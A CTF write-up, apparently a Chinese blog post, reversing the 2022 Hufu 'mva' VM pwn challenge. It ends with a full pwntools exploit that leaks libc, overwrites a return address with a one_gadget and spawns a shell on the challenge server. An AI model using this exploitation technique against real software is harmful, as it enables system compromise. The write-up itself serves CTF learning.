2022 虎符 pwn mva

原创

yongbaoii 已于 2022-03-23 20:48:20 修改 4043 收藏

分类专栏： CTF 文章标签： 网络安全

于 2022-03-21 17:15:00 首次发布

给了个docker环境

但是其实就是告诉你环境是ubuntu20.04

保护就是全绿

```
[*] '/home/desh0ng/Desktop/mva'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned __int16 v4; // [rsp+20h] [rbp-240h]

  sub_1277(a1, a2, a3);
  puts("[+] Welcome to MVA, input your code now :");
  fread(&unk_4040, 0x100uLL, 1uLL, stdin);
  puts("[+] MVA is starting ...");
  while ( 1 )
  {
    v4 = ((unsigned int (*)(void))((char *)&sub_11E8 + 1))() >> 24;
    if ( v4 > 0xFu )
      break;
    if ( v4 <= 0xFu )
      __asm { jmp     rax }
  }
  puts("[+] MVA is shutting down ...");
  return 0LL;
}
```


看起来似乎很简单

刚开始需要一堆输入

然后在那个11e9函数做一个简单的处理

然后就有一个jmp rax。

但是我们发现jmp rax下面并不简单
因为看得出来那个v4可以有16个数
因为jmp rax没法直接显示了
我们只能去看汇编

事后有了个招

我们首先看一下它会跳到哪

```
00013D4                 mov     eax, eax
00013D6                 lea     rdx, ds:0[rax*4]
00013DE                 lea     rax, unk_206C
00013E5                 mov     eax, [rdx+rax]
00013E8                 cdqe
00013EA                 lea     rdx, unk_206C
00013F1                 add     rax, rdx
00013F4                 db      3Eh
00013F4                 jmp     rax
00013F7 ; ---------------------------------------------------------------------------
```


刚开始的rax是我们输入的序号

看下来新地址就是 206c + [rax * 4 + 206c]

```
.rodata:000000000000206B                align 4
.rodata:000000000000206C dword_206C     dd 0FFFFF38Bh           ; DATA XREF:
.rodata:000000000000206C                                        ; main+140↑o
.rodata:0000000000002070                dd 0FFFFF399h
.rodata:0000000000002074                dd 0FFFFF3D2h
.rodata:0000000000002078                dd 0FFFFF460h
.rodata:000000000000207C                dd 0FFFFF4F0h
.rodata:0000000000002080                dd 0FFFFF57Eh
.rodata:0000000000002084                dd 0FFFFF60Ch
.rodata:0000000000002088                dd 0FFFFF686h
.rodata:000000000000208C                dd 0FFFFF714h
.rodata:0000000000002090                dd 0FFFFF735h
.rodata:0000000000002094                dd 0FFFFF7A7h
.rodata:0000000000002098                dd 0FFFFF80Ah
.rodata:000000000000209C                dd 0FFFFF839h
.rodata:00000000000020A0                dd 0FFFFF8B4h
.rodata:00000000000020A4                dd 0FFFFF940h
.rodata:00000000000020A8                dd 0FFFFF994h
.rodata:00000000000020A8 _rodata        ends
```


所以我们根据它来做简单的计算就能得出16个功能的地址

然后就是开始读汇编程序

```
23c  转过来的四个字节
转过来的
240  第一个字节
249  第二个字节
248 第三个字节
247 第四个字节
23e 3 4个字节



0功能直接退出
1功能 249要0-5 不然退出
        跳到1421
.text:0000000000001421                movsx   eax, [rbp+var_249]
.text:0000000000001428                cdqe
```

```
.text:000000000000142A                movzx   edx, [rbp+var_23E]
.text:0000000000001431                mov     word ptr [rbp+rax*2+var_21C], dx
'''
 3 4个字节放在以第二个字节为序号的21c栈里
'''

2功能 249  248 247 都要为0-5
.text:0000000000001492 loc_1492:                              ; CODE XREF: main+1DC↑j
.text:0000000000001492                movsx   eax, [rbp+var_248]
.text:0000000000001499                cdqe
.text:000000000000149B                movzx   ecx, word ptr [rbp+rax*2+var_21C]
.text:00000000000014A3                movsx   eax, [rbp+var_247]
.text:00000000000014AA                cdqe
.text:00000000000014AC                movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:00000000000014B4                movsx   eax, [rbp+var_249]
.text:00000000000014BB                add     edx, ecx
.text:00000000000014BD                cdqe
.text:00000000000014BF                mov     word ptr [rbp+rax*2+var_21C], dx
.text:00000000000014C7                jmp     loc_1A2B
'''
248  、 247 值取出来加起来放在249
'''

3功能同上
.text:0000000000001520 loc_1520:                              ; CODE XREF: main+26A↑j
.text:0000000000001520                movsx   eax, [rbp+var_248]
.text:0000000000001527                cdqe
.text:0000000000001529                movzx   ecx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001531                movsx   eax, [rbp+var_247]
.text:0000000000001538                cdqe
.text:000000000000153A                movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001542                movsx   eax, [rbp+var_249]
.text:0000000000001549                sub     ecx, edx
.text:000000000000154B                mov     edx, ecx
.text:000000000000154D                cdqe
.text:000000000000154F                mov     word ptr [rbp+rax*2+var_21C], dx
.text:0000000000001557                jmp     loc_1A2B
'''
248 - 247 放在249
'''

4同上
.text:00000000000015B0 loc_15B0:                              ; CODE XREF: main+2FA↑j
.text:00000000000015B0                movsx   eax, [rbp+var_248]
.text:00000000000015B7                cdqe
.text:00000000000015B9                movzx   ecx, word ptr [rbp+rax*2+var_21C]
.text:00000000000015C1                movsx   eax, [rbp+var_247]
.text:00000000000015C8                cdqe
.text:00000000000015CA                movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:00000000000015D2                movsx   eax, [rbp+var_249]
.text:00000000000015D9                and     edx, ecx
.text:00000000000015DB                cdqe
.text:00000000000015DD                mov     word ptr [rbp+rax*2+var_21C], dx
.text:00000000000015E5                jmp     loc_1A2B
'''
247 & 248 放在249
'''

5同上
.text:0000000000001635 loc_1635:                              ; CODE XREF: main+388↑j
```

```
.text:000000000000163E loc_163E:                               ; CODE XREF: main+388↑j
.text:000000000000163E                 movsx   eax, [rbp+var_248]
.text:0000000000001645                 cdqe
.text:0000000000001647                 movzx   ecx, word ptr [rbp+rax*2+var_21C]
.text:000000000000164F                 movsx   eax, [rbp+var_247]
.text:0000000000001656                 cdqe
.text:0000000000001658                 movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001660                 movsx   eax, [rbp+var_249]
.text:0000000000001667                 or      edx, ecx
.text:0000000000001669                 cdqe
.text:000000000000166B                 mov     word ptr [rbp+rax*2+var_21C], dx
.text:0000000000001673                 jmp     loc_1A2B
'''
247 | 248 放在249
'''

6 249  248就可以
.text:00000000000016B0 loc_16B0:                               ; CODE XREF: main+3FA↑j
.text:00000000000016B0                 movsx   eax, [rbp+var_249]
.text:00000000000016B7                 cdqe
.text:00000000000016B9                 movzx   eax, word ptr [rbp+rax*2+var_21C]
.text:00000000000016C1                 movzx   edx, ax
.text:00000000000016C4                 movsx   eax, [rbp+var_248]
.text:00000000000016CB                 cdqe
.text:00000000000016CD                 movzx   eax, word ptr [rbp+rax*2+var_21C]
.text:00000000000016D5                 movzx   eax, ax
.text:00000000000016D8                 mov     ecx, eax
.text:00000000000016DA                 sar     edx, cl
.text:00000000000016DC                 movsx   eax, [rbp+var_249]
.text:00000000000016E3                 cdqe
.text:00000000000016E5                 mov     word ptr [rbp+rax*2+var_21C], dx
.text:00000000000016ED                 jmp     loc_1A2B
'''
把249 >> 248 放在249
'''

7  249 248 247
.text:0000000000001746                 movsx   eax, [rbp+var_248]
.text:000000000000174D                 cdqe
.text:000000000000174F                 movzx   ecx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001757                 movsx   eax, [rbp+var_247]
.text:000000000000175E                 cdqe
.text:0000000000001760                 movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001768                 movsx   eax, [rbp+var_249]
.text:000000000000176F                 xor     edx, ecx
.text:0000000000001771                 cdqe
.text:0000000000001773                 mov     word ptr [rbp+rax*2+var_21C], dx
.text:000000000000177B                 jmp     loc_1A2B
'''
248 异或 247 放在 249
'''

8
.text:0000000000001780                 mov     eax, 0
.text:0000000000001785                 call    sub_11E9
.text:000000000000178A                 mov     [rbp+var_234], eax
.text:0000000000001790                 mov     eax, [rbp+var_234]
.text:0000000000001796                 mov     cs:dword_403C, eax
.text:000000000000179C                 jmp     loc_1A2B
'''
```

取一条指令放在403c
同时234里面也会有这指令
'''

9

```
.text:00000000000017A1                mov     rax, [rbp+var_230]
.text:00000000000017A8                cmp     rax, 100h
.text:00000000000017AE                jle     short loc_17BA
.text:00000000000017B0                mov     edi, 0          ; status
.text:00000000000017B5                call    _exit
.text:00000000000017BA ; ---------------------------------------------------------------------------
.text:00000000000017BA
.text:00000000000017BA loc_17BA:                              ; CODE XREF: main+504↑j
.text:00000000000017BA                cmp     [rbp+var_249], 0
.text:00000000000017C1                jnz     short loc_17E6
.text:00000000000017C3                movsx   edx, [rbp+var_249]
.text:00000000000017CA                mov     rax, [rbp+var_230]
.text:00000000000017D1                movsxd  rdx, edx
.text:00000000000017D4                movzx   edx, word ptr [rbp+rdx*2+var_21C]


.text:00000000000017DC                mov     [rbp+rax*2+var_210], dx
.text:00000000000017E4                jmp     short loc_17FC
.text:00000000000017E6 ; ---------------------------------------------------------------------------
.text:00000000000017E6
.text:00000000000017E6 loc_17E6:                              ; CODE XREF: main+517↑j
.text:00000000000017E6                mov     rax, [rbp+var_230]
.text:00000000000017ED                movzx   edx, [rbp+var_23E]
.text:00000000000017F4                mov     [rbp+rax*2+var_210], dx
.text:00000000000017FC
.text:00000000000017FC loc_17FC:                              ; CODE XREF: main+53A↑j
.text:00000000000017FC                mov     rax, [rbp+var_230]
.text:0000000000001803                add     rax, 1
.text:0000000000001807                mov     [rbp+var_230], rax
.text:000000000000180E                jmp     loc_1A2B
```

'''
230 小于等于100
249是0就把21c序号为249那里的放在210序号是230那里，然后230那里的加1
249不是0就23e取出来放在210栈的230序号处

210看起来是个栈
这是个压栈
esp指针这里用的是230
'''

a 249 0-5 230不是0

```
.text:0000000000001845 loc_1845:                              ; CODE XREF: main+58F↑j
.text:0000000000001845                mov     rax, [rbp+var_230]
.text:000000000000184C                sub     rax, 1
.text:0000000000001850                mov     [rbp+var_230], rax
.text:0000000000001857                movsx   ecx, [rbp+var_249]
.text:000000000000185E                movzx   edx, [rbp+rax*2+var_210]
.text:0000000000001866                movsxd  rax, ecx
.text:0000000000001869                mov     word ptr [rbp+rax*2+var_21C], dx
.text:0000000000001871                jmp     loc_1A2B
```

'''
230-1

```
230-1
249为序号把210里的放在21c
那这个显然就是出栈
'''



b
.text:0000000000001876                  mov     eax, 0
.text:000000000000187B                  call    sub_11E9
.text:0000000000001880                  mov     [rbp+var_238], eax
.text:0000000000001886                  cmp     [rbp+var_246], 1
.text:000000000000188E                  jnz     loc_1A2A
.text:0000000000001894                  mov     eax, [rbp+var_238]
.text:000000000000189A                  mov     cs:dword_403C, eax
.text:00000000000018A0                  jmp     loc_1A2A
'''
246为1取一条指令放在238
然后放在403c
'''



c 249 248 0-5
.text:00000000000018DD loc_18DD:                                ; CODE XREF: main+627↑j
.text:00000000000018DD                  movsx   eax, [rbp+var_249]
.text:00000000000018E4                  cdqe
.text:00000000000018E6                  movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:00000000000018EE                  movsx   eax, [rbp+var_248]
.text:00000000000018F5                  cdqe
.text:00000000000018F7                  movzx   eax, word ptr [rbp+rax*2+var_21C]
.text:00000000000018FF                  cmp     dx, ax
.text:0000000000001902                  jnz     short loc_1912
.text:0000000000001904                  mov     [rbp+var_246], 1
.text:000000000000190D                  jmp     loc_1A2B

.text:0000000000001912                  mov     [rbp+var_246], 0
.text:000000000000191B                  jmp     loc_1A2B

'''
21c的249  248取出来比较
相同246为1
不同为0
'''



d  249 247 0-5
.text:0000000000001974 loc_1974:                                ; CODE XREF: main+6BE↑j
.text:0000000000001974                  movsx   eax, [rbp+var_248]
.text:000000000000197B                  cdqe
.text:000000000000197D                  movzx   ecx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001985                  movsx   eax, [rbp+var_247]
.text:000000000000198C                  cdqe
.text:000000000000198E                  movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:0000000000001996                  movsx   eax, [rbp+var_249]
.text:000000000000199D                  imul    edx, ecx
.text:00000000000019A0                  cdqe
.text:00000000000019A2                  mov     word ptr [rbp+rax*2+var_21C], dx
.text:00000000000019AA                  jmp     short loc_1A2B
'''
```

```
248 * 247 = 249
'''



e
.text:00000000000019AC                cmp     [rbp+var_249], 5
.text:00000000000019B3                jg      short loc_19BE
.text:00000000000019B5                cmp     [rbp+var_249], 0
.text:00000000000019BC                jns     short loc_19C8
.text:00000000000019BE
.text:00000000000019BE loc_19BE:                              ; CODE XREF: main+709↑j
.text:00000000000019BE                mov     edi, 0          ; status
.text:00000000000019C3                call    _exit
.text:00000000000019C8 ; ---------------------------------------------------------------------------
.text:00000000000019C8
.text:00000000000019C8 loc_19C8:                              ; CODE XREF: main+712↑j
.text:00000000000019C8                cmp     [rbp+var_248], 5
.text:00000000000019CF                jle     short loc_19DB
.text:00000000000019D1                mov     edi, 0          ; status
.text:00000000000019D6                call    _exit
.text:00000000000019DB ; ---------------------------------------------------------------------------
.text:00000000000019DB
.text:00000000000019DB loc_19DB:                              ; CODE XREF: main+725↑j
.text:00000000000019DB                movsx   eax, [rbp+var_249]
.text:00000000000019E2                movsx   ecx, [rbp+var_248]
.text:00000000000019E9                cdqe
.text:00000000000019EB                movzx   edx, word ptr [rbp+rax*2+var_21C]
.text:00000000000019F3                movsxd  rax, ecx
.text:00000000000019F6                mov     word ptr [rbp+rax*2+var_21C], dx
.text:00000000000019FE                jmp     short loc_1A2B
'''
248突然少了个比较……
249放在248为序号  21c的地方
前面都248有比较
这就没有
整数溢出？？？
'''



f
.text:0000000000001A00                mov     rax, [rbp+var_230]
.text:0000000000001A07                movzx   eax, [rbp+rax*2+var_210]
.text:0000000000001A0F                movzx   eax, ax
.text:0000000000001A12                mov     esi, eax
.text:0000000000001A14                lea     rdi, aD         ; "%d\n"
.text:0000000000001A1B                mov     eax, 0
.text:0000000000001A20                call    _printf
.text:0000000000001A25                jmp     short loc_1A2B
'''
230序号 在210中输出数字
'''
```

所以总结一下
在功能e里面的v248可以整数溢出，能覆盖栈v21c往上的地方。
功能9的v2e0又有整数溢出，可以任意写。

所以我们的思路就是
因为只能循环一次

我们在第一次循环的时候利用功能e覆盖v230再利用功能f输出libc地址
然后我们要想办法创造一次函数返回

我们利用_libc_start_main里面的一个gadget

```
.text:000000000002408B                lea     rax, [rsp+0C8h+var_A8]
.text:0000000000024090                mov     fs:300h, rax
.text:0000000000024099                mov     rax, cs:environ_ptr
.text:00000000000240A0                mov     rsi, [rsp+0C8h+var_C0]
.text:00000000000240A5                mov     edi, [rsp+0C8h+var_B4]
.text:00000000000240A9                mov     rdx, [rax]
.text:00000000000240AC                mov     rax, [rsp+0C8h+var_B0]
.text:00000000000240B1                call    rax
.text:00000000000240B3
.text:00000000000240B3 loc_240B3:                             ; CODE XREF: __libc_start_main+15A↓j
.text:00000000000240B3                mov     edi, eax
.text:00000000000240B5                call    exit
.text:00000000000240BA ; ---------------------------------------------------------------------------
```


利用这个gadget可以让他直接再回到main函数

但是因为每次写必须写两个字节，所以这里会爆破半个字节，也就是1/16

然后第二次利用就直接改main函数返回地址为one_gadget就可以了

exp

```
from pwn import *

context.log_level = 'debug'

#r = process("./mva")
r = remote("119.23.155.14", 38229)
#gdb.attach(r, "b *$rebase(0x13f4) \n c \n")


payload = ""
payload += "\x01\x00\x01\x0c" #21c[0] =  0x10c
payload += "\x0e\x00\xf6\x00" #21c[-10] = 21c[0]
payload += "\x0f\x00\x00\x00" #printf(libc)
payload += "\x01\x00\x01\x0d" #21c[0] =  0x10d
payload += "\x0e\x00\xf6\x00" #21c[-10] = 21c[0]
payload += "\x0f\x00\x00\x00" #printf(libc)
payload += "\x01\x00\x01\x0e" #21c[0] =  0x10e
payload += "\x0e\x00\xf6\x00" #21c[-10] = 21c[0]
payload += "\x0f\x00\x00\x00" #printf(libc)

payload += "\x01\x00\x01\x0c" #21c[0] =  0x010c
payload += "\x0e\x00\xf6\x00" #21c[-10] = 21c[0]
payload += "\x01\x00\x00\x00" #21c[0] =  0x0000
payload += "\x0e\x00\xf7\x00" #21c[-9] = 21c[0]
payload += "\x01\x00\x00\x00" #21c[0] =  0x0000
payload += "\x0e\x00\xf8\x00" #21c[-8] = 21c[0]
payload += "\x01\x00\x80\x00" #21c[0] =  0x8000
payload += "\x0e\x00\xf9\x00" #21c[-7] = 21c[0]
payload += "\x09\x01\x50\xac" #main
payload += "\x00\x00\x00\x00" #call main

r.sendafter("input your code now :", payload.ljust(0x100, "\xff"))
r.recvuntil("[+] MVA is starting ...\n")


s = r.recvuntil('\n')[:-1]
ss = r.recvuntil('\n')[:-1]
sss = r.recvuntil('\n')[:-1]
libc_base = (int(sss) << 32) + (int(ss) << 16) + int(s) - 0x240b3
```

```
libc_base = (int(sss) << 32) + (int(ss) << 16) + int(s) - 0x240b5
#one_gadget = libc_base + 0xe3b2e
one_gadget = libc_base + 0xe3b31
#one_gadget = libc_base + 0xe3b34
print("libc_base = " + hex(libc_base))
print("one_gadget = " + hex(one_gadget))

payload = b"a" * 0x4c
payload += b"\x01\x00\x01\x0c" #21c[0] =  0x010c
payload += b"\x0e\x00\xf6\x00" #21c[-10] = 21c[0]
payload += b"\x01\x00\x00\x00" #21c[0] =  0x0000
payload += b"\x0e\x00\xf7\x00" #21c[-9] = 21c[0]
payload += b"\x01\x00\x00\x00" #21c[0] =  0x0000
payload += b"\x0e\x00\xf8\x00" #21c[-8] = 21c[0]
payload += b"\x01\x00\x80\x00" #21c[0] =  0x8000
payload += b"\x0e\x00\xf9\x00" #21c[-7] = 21c[0]
payload += b"\x09\x01"
payload += p8((one_gadget & (0xff00)) >> 8) + p8(one_gadget & 0xff) #shell

payload += b"\x01\x00\x01\x0d" #21c[0] =  0x010d
payload += b"\x0e\x00\xf6\x00" #21c[-10] = 21c[0]
payload += b"\x01\x00\x00\x00" #21c[0] =  0x0000
payload += b"\x0e\x00\xf7\x00" #21c[-9] = 21c[0]
payload += b"\x01\x00\x00\x00" #21c[0] =  0x0000
payload += b"\x0e\x00\xf8\x00" #21c[-8] = 21c[0]
payload += b"\x01\x00\x80\x00" #21c[0] =  0x8000
payload += b"\x0e\x00\xf9\x00" #21c[-7] = 21c[0]
payload += b"\x09\x01"
payload += p8((one_gadget & (0xff000000)) >> 24) + p8((one_gadget & (0xff0000)) >> 16 ) #shell
payload += b"\x00\x00\x00\x00" #get shell

r.sendafter("input your code now :", payload.ljust(0x100, b"\xff"))

r.interactive()
```

```
    b'start.sh\n'
core.10
core.12
core.14
core.16
core.18
core.20
core.8
flag
mva
start.sh
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x40 bytes:
    b'HFCTF{M4st3r_0f_vmmv_Mavm44mV4av4m_b03mtxEe4i45fdsdkz9DPWNc02d}\n'
HFCTF{M4st3r_0f_vmmv_Mavm44mV4av4m_b03mtxEe4i45fdsdkz9DPWNc02d}
$
```